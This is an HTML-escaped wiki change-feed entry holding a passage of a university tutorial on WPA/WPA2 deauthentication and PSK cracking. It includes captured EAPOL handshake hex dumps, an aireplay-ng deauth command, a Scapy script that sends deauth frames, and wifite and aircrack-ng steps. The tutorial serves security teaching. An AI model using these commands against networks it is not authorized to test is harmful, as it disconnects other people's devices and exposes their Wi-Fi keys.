tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* DSTIKE Deauther Watch V1&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17562</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17562"/>
		<updated>2024-12-18T17:42:54Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Capture Beacon */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
- Install aircrack-ng suite: &lt;br /&gt;
* Debian based distributions: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Arch based distributions: &amp;lt;code&amp;gt;sudo pacman -S aicrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.&lt;br /&gt;
 &lt;br /&gt;
  sudo airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
